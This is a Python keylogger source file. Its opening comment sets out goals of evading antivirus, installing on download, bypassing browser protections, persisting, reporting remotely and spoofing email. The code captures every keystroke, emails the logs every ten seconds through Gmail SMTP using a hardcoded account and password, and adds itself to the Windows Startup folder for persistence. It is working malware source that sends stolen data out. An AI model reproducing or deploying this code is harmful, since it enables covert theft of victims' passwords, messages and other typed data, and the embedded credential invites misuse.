keylogger.py

"""
GOALS FOR THIS PROJECT
Learn how to make a keylogger that
- Is seemingly undetectable by anti-virus (idk if this is possible)
- Is installed upon download from a web browser
- Bypasses browser untrusted file protection
- Continues to run even if there is a loss of connection/computer is restarted
- Can send information to my personal computer (so if I was a potential hacker I would have access to that information on demand)
- Is in general undetectable by the computer
- Has a way to turn it off remotely

I also want to learn to spoof emails to allow me to send emails from a potentially "reliable" source. USING THIS https://emkei.cz

"""

import keyboard  # for keylogs
import smtplib  # for sending email using SMTP protocol (gmail)

# Timer is to make a method runs after an `interval` amount of time
from threading import Timer
from datetime import datetime
import getpass
import os

USER_NAME = getpass.getuser()
SEND_REPORT_EVERY = 10  # in seconds, 60 means 1 minute and so on
EMAIL_ADDRESS_LOGIN = "keylogger6841@gmail.com"
EMAIL_ADDRESS_SENDTO = "keylogger6841@gmail.com"
EMAIL_PASSWORD = "ounlbnfqldzcnkxb"


class Keylogger:
    def __init__(self, interval, report_method="email"):
        # we gonna pass SEND_REPORT_EVERY to interval
        self.interval = interval
        self.report_method = report_method
        # this is the string variable that contains the log of all
        # the keystrokes within `self.interval`
        self.log = ""
        # record start & end datetimes
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

    def callback(self, event):
        """
        This callback is invoked whenever a keyboard event is occured
        (i.e when a key is released in this example)
        """
        name = event.name
        if len(name) > 1:
            # not a character, special key (e.g ctrl, alt, etc.)
            # uppercase with []
            if name == "space":
                # " " instead of "space"
                name = " "
            elif name == "enter":
                # add a new line whenever an ENTER is pressed
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                # replace spaces with underscores
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        # finally, add the key name to our global `self.log` variable
        self.log += name

    def update_filename(self):
        # construct the filename to be identified by start & end datetimes
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        """This method creates a log file in the current directory that contains
        the current keylogs in the `self.log` variable"""
        # open the file in write mode (create it)
        with open(f"{self.filename}.txt", "w") as f:
            # write the keylogs to the file
            print(self.log, file=f)

    def sendmail(self, emailsendfrom, emailsendto, password, message):
        # manages a connection to the SMTP server
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # connect to the SMTP server as TLS mode ( for security )
        server.starttls()
        # login to the email account
        server.login(emailsendfrom, password)
        # send the actual message
        server.sendmail(emailsendfrom, emailsendto, message)
        # terminates the session
        server.quit()

    def report(self):
        """
        This function gets called every `self.interval`
        It basically sends keylogs and resets `self.log` variable
        """
        if self.log:
            # if there is something in log, report it
            self.end_dt = datetime.now()
            # update `self.filename`
            self.update_filename()
            if self.report_method == "email":
                self.sendmail(
                    EMAIL_ADDRESS_LOGIN, EMAIL_ADDRESS_SENDTO, EMAIL_PASSWORD, self.log
                )
            elif self.report_method == "file":
                self.report_to_file()
            # if you want to print in the console, uncomment below line
            # print(f"[{self.filename}] - {self.log}")
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        # set the thread as daemon (dies when main thread die)
        timer.daemon = True
        # start the timer
        timer.start()

    def start(self):
        # record the start datetime
        self.start_dt = datetime.now()
        # start the keylogger
        keyboard.on_release(callback=self.callback)
        # start reporting the keylogs
        self.report()
        # block the current thread, wait until CTRL+C is pressed
        keyboard.wait()
def add_to_startup(file_path=""):
    if file_path == "":
        file_path = os.path.dirname(os.path.realpath(__file__))
    bat_path = (
        r"C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
        % USER_NAME
    )
    with open(bat_path + "\\" + "open.bat", "w+") as bat_file:
        bat_file.write(r'start "" "%s"' % file_path)

if __name__ == "__main__":
    # if you want a keylogger to send to your email
    # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
    # if you want a keylogger to record keylogs to a local file
    # (and then send it using your favorite method)
    add_to_startup()
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
    keylogger.start()